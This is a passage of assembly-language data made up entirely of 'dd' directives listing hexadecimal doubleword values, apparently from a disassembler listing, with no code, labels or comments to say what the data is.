		dd 0ACF0597Fh, 0CB194B25h, 0AC9A4E0Ah, 0B6716189h, 150D1A5h
		dd 0CD8C6B9Bh, 27A02F25h, 0D638975Fh, 559D2B91h, 0E38155B8h
		dd 0C59C8C25h, 763F118Eh, 4856884Eh, 0A08062F8h, 5D9F3672h
		dd 0CDB9BB25h, 6019649Dh, 77902F20h, 0C62C3180h, 2EFEB779h
		dd 373D802Dh, 0F37FA0B8h, 929A9D00h, 0B54F576Ch, 0AC8B700Fh
		dd 0C37F7D6Eh, 5669AB0h, 0FFF386E0h, 0F3D176E3h, 0EBC9D8DBh
		dd 8610B738h, 0F1008BF2h, 7184CA50h, 48C93409h,	11104AFBh
		dd 0AD5F3B2Eh, 5CB7C1h,	0A49F8757h, 854C36F8h, 0D451386h
		dd 698F2DABh, 9FBA817h,	90488D10h, 76801771h, 707E062Eh
		dd 313538ADh, 2707277Eh, 758D6590h, 17367A00h, 0DC7B59C1h
		dd 0B072F442h, 4B6BB4A9h, 0B7F58F92h, 0DB6D80D4h, 43C82265h
		dd 89177AE4h, 3F42DD95h, 4A19BD0Bh, 0AF3DF79Dh,	6FE0DD00h
		dd 27E4A8A9h, 9569FB7h,	0C82C51F4h, 0D221ECF5h,	4DE8AE4h
		dd 0F19D0B5Bh, 0C164AB26h, 95A1C0E6h, 0F9C060C2h, 2FB3144h
		dd 4129BB50h, 725844B8h, 0EB78B39Bh, 6A692711h,	0F5E1DAEDh
		dd 0ABFB3972h, 2583F908h, 0DF22496Fh, 0F872C79h, 0D6090E85h
		dd 0EFFBC000h, 7204DC8Bh, 0E82A963Ah, 0F9D03BBCh, 0FF856B58h
		dd 0D260EAD1h, 972F899Dh, 4E8016FFh, 0FAC9226Eh, 150C0AC1h
		dd 0ABB134FEh, 0B1A0908h, 5DA4026Ah, 0F7F0132Bh, 5E04E111h
		dd 2879E5BFh, 9E8FB549h, 0B6080277h, 0B55461A4h, 0B2827D0Bh
		dd 40295C16h, 8BAAE75h,	823C8100h, 25884514h, 0BED90968h
		dd 0C87152E9h, 4EC4EC2h, 0E019B6F9h, 1371CFD5h,	0A27D52E2h
		dd 0EC4C0FAAh, 3ADDC05Bh, 4AE07FF7h, 1D8882F1h,	42015F02h
		dd 567B4ACBh, 90B5E9D7h, 4C792h, 50093391h, 0C043B3F4h
		dd 496F8043h, 7A420003h, 0ECFC79DDh, 220A3DEBh,	0D1BE2170h
		dd 0C005CDA7h, 26714B9Ah, 1FEE1B12h, 29C99FF8h,	0E4151105h
		dd 1F41EDD4h, 1EC642Bh,	6E7A2AEAh, 0E3602E40h, 9FF58531h
		dd 0BB54E989h, 50B07BE9h, 0D700694Fh, 534BCC70h, 76C3767h
		dd 99B9DF81h, 0FF6A80DAh, 4217F6BBh, 231C6076h,	6BFD2C57h
		dd 0F75C4EE8h, 25022228h
		dd 0AACCB2B7h, 258A0944h, 5B72B0DDh, 6070E612h,	0F0AAC8h
		dd 0B6F34A67h, 0C53CD26Dh, 0AFCE122Eh, 12061D08h, 0E0ABB61h
		dd 8563BD84h, 0C1F5055h, 0B3325E05h, 29CC36A8h,	99C69D34h
		dd 0C0EEE025h, 97DA8ABEh, 8876B112h, 0CC4360Bh,	5EA57CCFh
		dd 1290E207h, 0B9ADD88Ah, 0EC10134Bh, 2AF8459Ah, 0D1B1A487h
		dd 884CE9FCh, 97A0B8B1h, 15FEFEAh, 28DABA6Dh, 0D93132Eh
		dd 0B8C70D5Ch, 91924B12h, 9D292210h, 0E9304264h, 7FBF1761h
		dd 43DB2DFFh, 578BCDD9h, 8EAE8F51h, 0F7D2385Fh,	88CC4BD8h
		dd 0EEB74183h, 18800E18h, 0FD20A84Dh, 31CF959Ch, 0BE4F1A01h
		dd 0FCE75B76h, 65013664h, 0CA5A718h, 0CC62FE38h, 41C09E5Ch
		dd 0AA7504C3h, 6286F1Dh, 59020D25h, 7EB1415Ah, 419B3EDCh
		dd 0D420AAD3h, 0CBF0A010h, 97E7580h, 59BE5B49h,	4AB1817h
		dd 0B9E1DB69h, 31C7A077h, 2B529D5Bh, 0C26184B1h, 0EF1D5D6Bh
		dd 0D82722B7h, 6F030014h, 0CE0AE012h, 0F84A8BCDh, 5A8090B8h
		dd 5F61B8C6h, 323F948h,	783944Ch, 0D30BDF5Bh, 0B7EFD86Bh
		dd 29533502h, 4032F05Bh, 95B4FE92h, 0EDBFDB64h,	0BB6FC07Ch
		dd 0C825B05Eh, 0AD9CCD11h, 7501C335h, 119D8960h, 0B86A122Ah
		dd 25B8920Fh, 0B2E6E085h, 0CABE4ED6h, 97491CC2h, 0A4B251C0h
		dd 4A016158h, 441F97B5h, 0EC16B988h, 6FAC0479h,	0A8187145h
		dd 91374EC3h, 4DB28294h, 6A070B22h, 0B0B4619Fh,	7B451950h
		dd 0E6654A78h, 311DB203h, 6E01FCA4h, 25EAB702h,	5C818972h
		dd 0B32456BFh, 2D09DD33h, 99E31119h, 282B8E75h,	75D37DAEh
		dd 6EB812F9h, 61B53109h, 9A9732Fh, 8571DA8Bh, 0DCEBAEh
		dd 0A48F515Eh, 9D2B4728h, 1A979573h, 617C6DA6h,	41513B59h
		dd 2310989h, 51A95C5Bh,	25281626h, 17732D19h, 5CFB8BC2h
		dd 0DE9517Dh, 0EAA8173Dh, 9F2B3303h, 0C094DE38h, 0E2BF0BE5h
		dd 717C1393h, 0B853F960h, 263B1283h, 8B54E03Dh,	3984FA4Bh
		dd 0D14AA6ACh, 6A015B31h, 428052DEh, 778FBABFh,	8102ED74h
		dd 319E71D7h, 55395C7Ch, 31371200h, 92C58501h, 3C9A9568h
		dd 7E72118Bh, 0D66CE297h, 0C9680Ch, 1F0F09BAh, 961DBE6Fh
		dd 31D9D756h, 0E32ADFFEh, 0C68C5852h, 0F7246160h, 0AE5F0A92h
		dd 8B65713h, 91715CE0h,	3BD6A4Bh, 6A0BE3BCh, 6464FAEAh
		dd 0C2120152h, 230DE401h, 0AFA2033h, 0BF809FB4h, 0B1685BD8h
		dd 0CA0D01A5h, 8BB5C3BBh, 9F012E6Bh, 36115E4Eh,	2000C333h
		dd 0F78B580h, 312DB014h, 5B6A498Dh, 0E98B752Ah,	58E4A8D7h
		dd 6512F579h, 0D6CDAD0Ah, 2AD2BE09h, 13DE6E3Ch,	1227B569h
		dd 6A8CB590h, 96C378DBh, 9E27DC88h, 585909E5h, 0F6749E8Ah
		dd 6C06A00h, 0DE181BA8h, 0BCAE4FF4h, 4EBE13C3h,	20E85DADh
		dd 98F43Ah, 35391F49h, 0A3800FA5h, 0CA01AD22h, 9F19D29h
		dd 300F9D2Bh, 0A4BDA1C4h, 0CF8906E0h, 0E1C2F01Eh, 874F99Eh
		dd 0C0B26225h, 4B9AD224h, 16B1857Ah, 0CE8D30AFh, 66989B8Ah
		dd 0B3586924h, 0A82D592Fh, 0BE6602B5h, 9661BCE3h, 7DCDCFCh
		dd 0A90BE10Ah, 0D7CD701Ch, 5C1FB860h, 0BAC181E7h, 68DBE59Fh
		dd 2F561E6Bh, 8A8B023Dh, 1F50598Bh, 4C74C168h, 245B52F5h
		dd 8F12EBB8h, 0D40B0AD2h, 0B6FE4471h, 58B7A73Eh, 1A1978B1h
		dd 0D8BA5003h, 6D979970h, 2705C1C8h, 0ECC7F857h, 77EAE212h
		dd 0F380FE70h, 9B615EA6h, 0BA4C80A6h, 2552B91Eh, 56C55BF9h
		dd 9660DAA4h, 550BADh, 4DEEF97Ch, 4EA3132Eh, 707D9495h
		dd 36CFB733h, 4A8C7E44h, 83CF0077h, 5BF7FE99h, 90B521E9h
		dd 97206DE3h, 58D26E1Dh, 501A9DD8h, 0CA40A35Eh,	2215937h
		dd 958C3345h, 127D8FFFh, 5DD477EAh, 4B091670h, 3A6A8A73h
		dd 8ED4AC5h, 5E06E1E8h,	60F89E4Dh, 8ADB14B4h, 92B3F2FEh
		dd 5DE9664Bh, 642CD6BCh, 192FF4AEh, 982BF5C1h, 31259D06h
		dd 0A262CE0Dh, 694156A9h, 50BD1877h, 582C71BBh,	34166E7Ch
		dd 0F075F624h, 12D00638h, 0B02D7BB8h, 56A44704h, 8E89894Ah
		dd 0ED5A572Bh, 0F8E1E8C9h, 7FD909DBh, 7773D012h, 0CC191659h
		dd 5748E92Eh, 0A0F6C0DFh, 64C426h, 459B75B4h, 5F5967D5h
		dd 0C6FE8B25h, 8F0F1A83h, 0D1093702h, 17597A5Bh, 0D3127E18h
		dd 4F88BF9h, 9E69EFD0h,	0FB5A0856h, 4D945020h, 2EF86C17h
		dd 0C34A7EBCh, 72106098h, 570402A9h, 0D09D8533h, 0F9615E1Bh
		dd 0CDA30B97h, 0FA50C0A3h, 39189FB2h, 0D96DF7B5h, 0A23A9733h
		dd 3F7F0257h, 6AA15C1Ch, 0CAEA0C2Ah, 0D59D8B7Ch, 402A0ABh
		dd 85562BDDh, 9E92BFE0h, 31445E84h, 1006E868h, 125ED61Eh
		dd 0EA0E6854h, 0BD234030h, 5F01409Dh, 10BFFCB0h, 3256494h
		dd 0A8FDDC4Ch, 0ACFEFAF8h, 2973F709h, 54AC0952h, 0BB915020h
		dd 9E6B7D03h, 0A0302A4Eh, 502BB765h, 4A72A663h,	66E0DD5Fh
		dd 6FEFB0CFh, 1B1801CEh, 0E42156A8h, 0BD33D02Dh, 0CB31A534h
		dd 0BCD7A6ACh, 2B89454Fh, 87388B28h, 0F06716E4h, 8A96910Bh
		dd 5E3FD4Ah, 2D533900h,	8045DCB4h, 0C1BE2000h, 0A9952996h
		dd 9DFA51Fh, 5C23B3h, 40C06DE9h, 3EBC7C42h, 0CDE9F625h
		dd 60176493h, 483D35C1h, 0B113399Ch, 0D7F3BF02h, 724ED600h
		dd 0E4044E4h, 73D45D00h, 6E1225CAh, 58C509C2h, 0D3D75CF3h
		dd 65B2D50h, 13C8650h, 652915B9h, 24DA2A98h, 774B9F42h
		dd 4722B88Ah, 1A479294h, 8E6980DFh, 310F8D5Ah, 0FC1B0180h
		dd 0BA752E5Fh, 61A8D8F9h, 52D4A00h, 0F67C1CAFh,	0BCC6E26Fh
		dd 8DF38474h, 0B1C0B860h, 8F99D2Bh, 5CE4AB52h, 0DEF1278Fh
		dd 74C18B89h, 0C009DC3Ah, 8436C789h, 58B9D976h,	0A8C0B9D6h
		dd 35F02EBh, 0C579B4B8h, 15ED6460h, 202E9081h, 0CF0304C8h
		dd 0A8003F7Ch, 0C32D70FEh, 9D880F8Ch, 12614DDh,	0B90505Bh
		dd 402681BDh, 4BD7BB4Eh, 7D6FB427h, 9FE233CDh, 0E1615D5Ah
		dd 8209FE35h, 633AD20h,	0BD4F1C61h, 1A31EEA4h, 1D028985h
		dd 0FC289601h, 0BC6579DCh, 0C2EC0185h, 0F1BD2B4Bh, 41642E0Eh
		dd 966AEAh, 0C245B67Bh,	4A0282EAh, 8FC82DCh, 89C2AE08h
		dd 58D34485h, 0BFD3EC90h, 0F900E0A6h, 50344C1Dh, 2099830Fh
		dd 0CAAB0C34h, 1480003Dh, 0B25A65C3h, 6AA3ABFh,	5DC1B302h
		dd 0B77590BDh, 2E273E2Fh, 0B4B4D97Ch, 6A6392EFh, 8039377Dh
		dd 0B75E263Ah, 6B946AFCh, 10DF9DDEh, 0B5FB8BAFh, 2987806Eh
		dd 96BC94E1h, 0A0BD5BCCh, 0B51F65DAh, 4497806Eh, 13D200BDh
		dd 80557767h, 0C401CB90h, 9F2F35EBh, 92A6BF9Ch,	9D10A69h
		dd 0E3131299h, 4F948DBEh, 16A6E2Ah, 0CBB28E71h,	1BC82E9Eh
		dd 802A02E6h, 26ADEC7h,	33B75Fh, 19C9D288h, 0B25BD69Ah
		dd 0A5F1C780h, 62BF3890h, 0F047C26h, 0E92BB4B7h, 9D3F1E55h
		dd 0B55FE7BAh, 9C590B3Ch, 3109F0F8h, 0A41EADBDh, 0E4B8D8BCh
		dd 0FC32E1h, 566D8501h,	71F03D1Bh, 0BF25C48Fh, 64CCCD8Ch
		dd 0B3586115h, 40A15830h, 8D168909h, 0BDE41691h, 3C10133Eh
		dd 6F28C560h, 4E992D03h, 0B78BF8E7h, 235A73E4h,	292B0BB1h
		dd 992693BEh, 6EAB5E84h, 2D1D23A1h, 0C6E0CF56h,	97FA8BB5h
		dd 0BF66DF18h, 6A9A681Eh, 0C02DCDEFh, 120E2F3Eh, 0BB170901h
		dd 7CF9EAF8h, 0D30D9F70h, 25A31FF3h, 1745B7CCh,	409D6120h
		dd 8297B008h, 2037933h,	0E25E70E6h, 679D0B40h, 8CAD0211h
		dd 0BC494ECFh, 2B098D02h, 0E234A554h, 0A679ADADh, 0DAD30ADh
		dd 0F5C8B68Fh, 447C66B5h, 1D014508h, 0C0CE87A0h, 217182FAh
		dd 1253CBEh, 0DD9AAA6h
		dd 12B68C95h, 7A1441A9h, 539F02D7h, 0C82BB180h,	7D951909h
		dd 0C9D1411Bh, 622F63DFh, 0A905F12Eh, 1B4B5A2Fh, 47121D85h
		dd 0E74A71E3h, 5E50C6C2h, 2112604Ah, 0B700C948h, 0B6954DDFh
		dd 34F59CEFh, 44305B61h, 53151B3h, 5798D03Bh, 549DFE56h
		dd 335FBAC9h, 11B49E9h,	0AE13E4E7h, 0EA41909Dh,	0E32A1EFDh
		dd 2E84118Eh, 33CF800Fh, 118A58Ah, 119D29FEh, 81502F26h
		dd 0BD436Dh, 0CB97690Fh, 289A618Dh, 4BBB33CEh, 16C58A29h
		dd 53E788ACh, 0B020B2A0h, 9E1AA616h, 0B2E880EDh, 58B9C900h
		dd 2D9D0337h, 0EA719730h, 0C87DBD42h, 0C573B980h, 12A0B7E9h
		dd 0D624AC99h, 0DA0730FCh, 0F02D30EFh, 0FB7A1837h, 2E031503h
		dd 0B7CF39A9h, 98890FF2h, 0C2028197h, 0FCFD8A0Dh, 3E718B7Bh
		dd 90821CCh, 2BB697AEh,	81BD37FDh, 82608308h, 8898F9D0h
		dd 1D0C61FCh, 46519229h, 1CD22B99h, 731FA925h, 0FD096B52h
		dd 0DBA82955h, 92287003h, 3625C27Eh, 9591C4ECh,	0E6702DDBh
		dd 0B1124FF3h, 0ACDA3ADEh, 8C017C8h, 9F6AF43Ah,	9A958366h
		dd 9049E69Dh, 20B52508h, 5B7A4371h, 48917010h, 0CBDED900h
		dd 9D9E585Ah, 32807C50h, 6D825F18h, 0B3DF6F6Ah,	1CFDE1F6h
		dd 77B1382Eh, 218E828Ah, 3E145727h, 0E859DD9Bh,	0EBB05CC6h
		dd 0DC500E7Bh, 3D06133Fh, 0B64100EFh, 85BD898Eh, 0B38D014Bh
		dd 12736A3Fh, 0ABE29F2Ah, 0A7A0A088h, 0A88A054Bh, 0CF7DAB27h
		dd 50F640C6h, 0E00056D9h, 17C7606Eh, 27B52958h,	71D90A95h
		dd 43D8661h, 95B7F5C2h,	0B0645AA7h, 25C1209Ah, 0E454A90h
		dd 7110192Ch, 8D33042Ah, 0F20169Dh, 4EB50A85h, 0A9FD9D0Dh
		dd 22D15897h, 0F97EFB3h, 5B8D259h, 64F1AFD3h, 2DC66E2Fh
		dd 0B2B2102Ah, 1C720796h, 708F4FD1h, 0EAD3E1C2h, 0F381C90Bh
		dd 12CA437h, 4B14A712h,	9AA8B8BDh, 5875FB2Dh, 9C1C4BCDh
		dd 0D9188BE3h, 50086690h, 98DE778Ah, 81899F37h,	411E87Eh
		dd 1F03FF09h, 0BF517D00h, 641CF3FDh, 5C675B44h,	96594937h
		dd 0C4C2E700h, 90938E40h, 9F8B62EEh, 0EF5C5360h, 0BE663430h
		dd 3CB7F374h, 0D8BC726h, 0DC903F1Bh, 12D3D9BBh,	355A05D2h
		dd 0CECE8C14h, 5E101600h, 13068DAEh, 60A2015Bh,	57B684BFh
		dd 309CA27Ah, 955520FFh, 51817173h, 0FB09F53Ch,	0BC735F87h
		dd 505853ADh, 0FE75F9ECh, 0FAA46150h, 3F2C5D9Bh, 7317A109h
		dd 0CC90A7C8h, 5F00E892h, 0BCCB066h, 35DE26Ah, 6EB1C880h
		dd 7EB00327h, 0CB25E94Ah, 0F4BB5601h, 67C4F702h, 5C8AD4AEh
		dd 0DECE6AE1h, 1DD51B05h, 6300E8F0h, 7BB65912h,	0C4B800B3h
		dd 4131A406h, 23003362h, 0C31A7D78h, 5F78153h, 2901328h
		dd 0AD35AE5Bh, 5E127BC2h, 8A535A07h, 3E4D8D50h,	0CF1D124Bh
		dd 0D4010936h, 0CBA00779h, 65B526E4h, 0D6FFA6E9h, 43E43Eh
		dd 811DBBF1h, 4AC8DD7h,	689630Bh, 0D9E899F8h, 0DD162EFAh
		dd 7E4B20AAh, 870036EAh, 0D5DB81B4h, 902ADF14h,	0B58D2D3Ah
		dd 0CC964805h, 0EA00F2E0h, 7A209C92h, 27BB33h, 0EBB3FC46h
		dd 0FD301F4Ah, 6FD3D417h, 245677E0h, 25F69686h,	1ACFC166h
		dd 7D645823h, 7C688024h, 0A80F9909h, 0FF1B7F60h, 0B9332C12h
		dd 0B87D0AE9h, 0B6584A27h, 0D7A9E067h, 0B35704B0h, 0A4E19501h
		dd 8125BDD2h, 0B5D9CE2Eh, 0BF502705h, 2ABC9120h, 0EF6F0176h
		dd 0A3E041BFh, 7A37C405h, 3104A29Ch, 3DF11585h,	23A96B2Fh
		dd 9242001Dh, 38D464E4h, 93F3BD1Dh, 5C870F89h, 0C1DB60CEh
		dd 0ABB36104h, 0C5BC78h, 87833D92h, 865DE0FBh, 8EB077A8h
		dd 0A400CEFAh, 0ED925579h, 4B5209A7h, 5AED8BD2h, 89F35AA6h
		dd 5C314C2Dh, 0CF2C041h, 0BCE26B98h, 4E171497h,	0B032A74Fh
		dd 36CEA5h, 685B0103h, 6599D89h, 533D81CBh, 7A0BD9AEh
		dd 5E3383C2h, 5F4B7725h, 9C805037h, 77E13E01h, 7852BB9Fh
		dd 9497F931h, 46F46938h, 83E0566Dh, 5F50A274h, 2FB6B0D5h
		dd 69219682h, 300259C1h, 0B5D5686Eh, 0C01D91CBh, 723B6FC2h
		dd 6B543DCFh, 8D0FC40Eh, 468D4B11h, 0D2638BF1h,	0D05B509h
		dd 0FF5AAE5Ch, 0B801DCB5h, 0B1982215h, 2E00DA33h, 52FE7A6Dh
		dd 0F32F43E1h, 25576759h, 0B79F83C6h, 5609006Ch, 0E1CC190h
		dd 12B80117h, 0DADB2102h, 5CAFE250h, 0EEED27A2h, 8A40AFC0h
		dd 9FD5ACDCh, 985C2AC2h, 550AFB68h, 0F472A726h,	0EA0ED430h
		dd 5B9946h, 0BF661B17h,	2E5095C8h, 710C252Dh, 1ED6B73h
		dd 7578EB40h, 15BAC587h, 7574AE1Dh, 220287C2h, 0CB7359B7h
		dd 92FB5A5h, 697876D7h,	819D2B09h, 0C9015E1Ch, 1C506B5Bh
		dd 0CD924B1Fh, 1ADB2A53h, 6100358Eh, 0AF766A57h, 649E4727h
		dd 621B005Ch, 0F363F595h, 4B013A79h, 0CDB8D251h, 342FBDF9h
		dd 2988EE86h, 60F62Ah, 3F4F01AFh, 904B9B53h, 0A21FEC02h
		dd 5595D0D9h, 6F004A3Dh, 0BF590DEAh, 102AB60Bh,	9531040Ch
		dd 0DAB90A5Dh, 0B65A80D4h, 818D08ABh, 5D509723h, 0E07B6737h
		dd 14522D70h, 3A5FF98Bh, 773025A1h, 2BB0B744h, 432545h
		dd 85F0A417h, 1FEDBBA5h, 0E555E725h, 0E7D22D91h, 6E0BAADh
		dd 12E3224Eh, 47EA564h,	5D1BEDB6h, 121F0188h, 17AEA896h
		dd 58228F0Fh, 80BD5960h, 0ECEBA4BEh, 964D611Dh,	8C1BB8F0h
		dd 0BE756EBFh, 929740C7h, 0E200F727h, 644DFC68h, 4F3BB9Fh
		dd 0F84BCA51h, 0D6D6BC5Bh, 3A11EDACh, 2578902h,	5E5BDE00h
		dd 0A0B6982h, 0CE256BD1h, 292D445Fh, 19119528h,	0F511097h
		dd 0B9149D88h, 0F600DBF4h, 0A0F35C0Ch, 2312BBDh, 0B646113Eh
		dd 475E655Ah, 3AD2801Fh, 0EDF405BCh, 1F6A881h, 0EEEC51BDh
		dd 0DD03AFAAh, 9E497ED1h, 9E677835h, 0C205DC47h, 12DF80AEh
		dd 209D60F0h, 0BF051511h, 4067B73Fh, 0D651DAEAh, 0A2CC6599h
		dd 0D226503Ah, 0BB189E50h, 8524524Fh, 0B86EAD00h, 8EE61FF7h
		dd 0E5D3C059h, 0BF7B3646h, 0C7551B1Ah, 0FA11C222h, 645B6F95h
		dd 0EB088529h, 0D41A468h, 842501B9h, 0DD0C30F0h, 147AFBh
		dd 27E80A02h, 707CD2ADh, 4C8097ACh, 0DFEF37BFh,	0AFB3334Ah
		dd 15301BF2h, 7F07109h,	8D448FF1h, 0BC512429h, 95011EB3h
		dd 6A93866Ch, 39BC6FEAh, 0C26001A1h, 0C6B52EB7h, 703E273Ah
		dd 6510E36Eh, 14F28902h, 85DECCF5h, 0B152F9E9h,	958F60FEh
		dd 59953339h, 0C9DE6975h, 0EEF505D4h, 0BA2AA9D1h, 12318F8Ch
		dd 0E725C1BDh, 0E38002FAh, 0DDD1FF9Fh, 3DF237h,	3BC49BAEh
		dd 4B0F2E31h, 4F04CA6Ah, 0A91784ABh, 402B889h, 0B4B24161h
		dd 21BF814Bh, 0C7AA040Fh, 1C84EEh, 8A9B81BAh, 6A61130Ch
		dd 0DA820002h, 503687CEh, 264ADAF9h, 0D3807335h, 779B0FC5h
		dd 62C075A9h, 23CD7C6Ch, 96B316D7h, 0A603D419h,	77BE5EE0h
		dd 0BF66A952h, 25E93AF0h, 8E50F20h, 76BE49BFh, 177AEF07h
		dd 0F3C07741h, 0EF893CCBh, 23EE6B2Eh, 5F98001Ch, 0C9BD1E56h
		dd 0D78A1212h, 82D6ACECh, 18DEDEB1h, 976ECF3Bh,	0CB095E3Ch
		dd 55300A4Ch, 89259D33h, 0FE9C512h, 0BAB58D01h,	9490BF02h
		dd 0EE5C04C4h, 730358CBh, 308F4FCBh, 0E9EAF664h, 0B5296104h
		dd 2DAE0DC1h, 0A8532DBCh, 315C022Ah, 0BBADC689h, 0F7756055h
		dd 2803100Ah, 26ED1353h, 6A0A1F7h, 14E6B45Fh, 4AB6395Ch
		dd 0D3FBFBD8h, 0AFA9882Dh, 761CC900h, 11934E39h, 8EC20441h
		dd 0BAB0A73Dh, 178251h,	5369F3D3h, 2FBF9Dh, 68286FF9h
		dd 70E68882h, 90AB094Fh, 6071E47Ah, 0E1C240CBh,	6102084Ch
		dd 44BD0E5Eh, 33F72580h
		dd 0C8BBA956h, 8BA84A6Ch, 0D12404D3h, 0A8131329h, 0E1D26EA8h
		dd 0FC122B02h, 9DC860BAh, 2B800299h, 0F7590C8h,	6A71FDC3h
		dd 2376D1C9h, 25C0DF41h, 1F134F20h, 0ADC8C7BBh,	765C298h
		dd 32857BCEh, 4BB7C5A4h, 0E205C6DBh, 0F390FB4Bh, 8C2641B5h
		dd 0F94951E5h, 37E90131h, 0BA84266Ch, 2B8DEE88h, 18BD2A89h
		dd 1E11EF73h, 0A5EDC841h, 0C1FE1742h, 31BBD9BDh, 90539528h
		dd 0ABC5250Ah, 52FDFCCh, 0F4DA7493h, 72412100h,	49F4AFADh
		dd 134707EAh, 754456BFh, 795BB128h, 9BDB4BD5h, 740817C0h
		dd 32043C11h, 238C41B3h, 0D54816A2h, 0FA9BB400h, 5E1AE6CBh
		dd 25223001h, 0CAA36F3Ah, 5A29B330h, 0B4FEE827h, 83C0E39Ah
		dd 22D84564h, 0F8133D00h, 42B9F93Fh, 0E76FE108h, 0F8CDA301h
		dd 28D64287h, 2AD467AAh, 723D99h, 37D431A1h, 697B34B3h
		dd 27868B00h, 0F518D86Bh, 618997E8h, 5780F6B7h,	3C022227h
		dd 78AFB3FCh, 0C274342Ch, 2B3CFB0Ah, 0AD08FBC0h, 0D2023C2Fh
		dd 19F98501h, 9E833ED7h, 6503D4A5h, 3D59ABDFh, 9D3A880h
		dd 0EE35598Dh, 0F138D658h, 5BCAE64Ah, 62EEF0C4h, 0F85CFB3Ah
		dd 0E76469h, 30C7B338h,	0B160A8B5h, 0EA63B601h,	8E22FBB9h
		dd 5F002F2Fh, 0E780199Ah, 3994BC32h, 0F4104C13h, 0E90B37E8h
		dd 0C5376B53h, 0BA3BF780h, 13B68F13h, 9AA7FE1h,	1579FE53h
		dd 82F94F45h, 1043D0C0h, 69035405h, 8E9BE8BEh, 66B8BA34h
		dd 3099723h, 1C6ABD55h,	14BF79F5h, 5AE5F000h, 0E1FFFC8Ah
		dd 0C5EB8012h, 312E0DBAh, 2E61F5A9h, 5FA6ED28h,	0A0A8F704h
		dd 25D82538h, 0AE59882h, 9AD69410h, 60F18F37h, 6BD8A4FFh
		dd 9C17042Bh, 0BCF88BB7h, 1A2AA206h, 17D48A5Eh,	12C5152Dh
		dd 158F3A8h, 0D92EB81h,	76282F0Eh, 4A09FD10h, 299BEFC5h
		dd 7A5C85C0h, 9C588937h, 25E51671h, 9145432h, 0B7BF1A70h
		dd 1FFC1628h, 0F4385283h, 0BD95D434h, 8EE180EDh, 0F8B072A2h
		dd 911EB597h, 6A468017h, 0E751885Fh, 56E0B72Ah,	0A08EB310h
		dd 0E05557h, 0D1ADD477h, 0B9BD296Eh, 81DFAAAAh,	505A56F4h
		dd 8F26202Eh, 6A016F0Bh, 8063943Eh, 50C8F59Eh, 0A1EF01F1h
		dd 9003B74Dh, 4883E52h,	983C0057h, 0BD2ACD7Bh, 5B715F7Dh
		dd 50E6904Ah, 0AA76BFE0h, 560BC7FCh, 7B33EA65h,	89DED06Eh
		dd 8DBD2312h, 0AEE28752h, 0B399D593h, 0D98B1233h, 0C89298BCh
		dd 0AA1C639Bh, 9700DB42h, 45316028h, 81BF0303h,	5B2B14A9h
		dd 0C3624A4Fh, 6EC65E61h, 81B70A9Ch, 602A305Bh,	7FB6CB8Ah
		dd 0DF38611Bh, 0E0758C36h, 6642DC5Fh, 300DECFh,	7CAC9837h
		dd 5FBC35E6h, 82A081A1h, 0D1742BA0h, 3C6AFAh, 8E909DCAh
		dd 2583DBA3h, 0F85B8905h, 0D504BCFBh, 4C15130Dh, 36BF02CFh
		dd 5E5E3B10h, 3D7649A0h, 7372FCDEh, 0F04F002Ah,	0F6398E86h
		dd 0DF4BB70Fh, 95607ECDh, 0CC784BFCh, 0BD11035Dh, 9D090979h
		dd 637B1B65h, 7EFC6097h, 0FC068909h, 0C65F0AB2h, 440C97D9h
		dd 0C40A544h, 4069EC2Bh, 449F9619h, 0FB6B0075h,	74A41BC4h
		dd 2D042A9Dh, 0BB080465h, 9C5F3498h, 0AA961676h, 7225CD6Eh
		dd 37BD51E4h, 3950807Ch, 0EDD1AA90h, 0C09D2CFFh, 9B031468h
		dd 0CBC1B56Eh, 0DE84C1EBh, 15591BC0h, 0F3DB897h, 0D2F9987h
		dd 501C3151h, 0B3905FE1h, 0D150A925h, 0A843A706h, 0B8ADA9ECh
		dd 0B2E34E0Fh, 0D50B003Ch, 7889BB8Dh, 7F7C00F3h, 920A2C9Fh
		dd 0F812DFFCh, 9D66E22Bh, 0C5C9BFC4h, 0D3D2F61h, 8DC64B0Fh
		dd 0DD5E5C31h, 3BDFF21h, 39E8382Bh, 12AA3DD7h, 0A8FD956Bh
		dd 0C9A64BEEh, 402A37F7h, 9589D9D4h, 0D705D131h, 546C5DBDh
		dd 0E3EEB312h, 0DA4ABAF3h, 5E9E8BD1h, 0B25DC5Ch, 8EDC551h
		dd 0BB000540h, 5938A999h, 0D9B53D09h, 28CDEAD3h, 0B69B7E30h
		dd 0F4BF3CC0h, 0B40222D9h, 8B889FFBh, 10B457F8h, 95DC0CBCh
		dd 619D1D52h, 742E19A6h, 4D9FCC3Ch, 0D65DA62Fh,	0FA8AE1F9h
		dd 13E885Fh, 0C36E251Ch, 6C58CAB3h, 0D946092Ah,	0AF8BA3Ch
		dd 0C702CA90h, 2E9B3DBBh, 0BDCF606Dh, 0B7204D55h, 0DE8B5309h
		dd 6DCA0B55h, 0F3F5C0B6h, 677D0AEBh, 0B40C8228h, 0E41647B7h
		dd 29A6117h, 162EBFF9h,	0ECCEA9EFh, 637600F6h, 0A740732Ah
		dd 0C52AA962h, 3D97D3F5h, 0CA980F9h, 0D6A4AD79h, 0C272D402h
		dd 2009E921h, 60AE3B4Bh, 0EB400705h, 0EDA27301h, 5829BE00h
		dd 4CDDDFC7h, 9AC57402h, 5E68C42Ah, 0F4F6E928h,	0C77016D4h
		dd 20F7B867h, 3D64B717h, 0E5642307h, 9CA06986h,	4FB496h
		dd 3A9C828h, 8DDC7CE2h,	40625C2Dh, 4ABDC051h, 0A8D8F25Bh
		dd 23951768h, 25B9E83Ah, 69D27931h, 4683CF35h, 0A0196DC7h
		dd 5AB59D89h, 566DF232h, 15A5F039h, 517B2F8Dh, 0ED003764h
		dd 10DA6AB3h, 17A56B12h, 0A80F671Bh, 136D1206h,	4F7B9DF2h
		dd 2FCD988Ch, 8ADD5C4Bh, 2E96A2Fh, 27BC53F2h, 65725E71h
		dd 2DEDF8F5h, 91009F24h, 6F529F15h, 0C09FE1A8h,	0E2F1ED4Ch
		dd 7C032BD2h, 48105077h, 9CAE8CEEh, 0F25FCCB6h,	0F7ADAD74h
		dd 599D83A8h, 81F6AD7Bh, 6E24FC69h, 0F964F7A0h,	740E9DC6h
		dd 803A88D4h, 93DF5D5Bh, 944F27D0h, 0E9DE2E62h,	0DA3401DCh
		dd 8DC89CBAh, 162A2FF0h, 0FDDD1680h, 0FE76567Fh, 77984050h
		dd 0C6DD914Bh, 80149A2Ah, 6759A511h, 0A8205F2Dh, 0C3E2D267h
		dd 0F716938Eh, 0D3E9A080h, 961227D2h, 0BD0F1954h, 9492857h
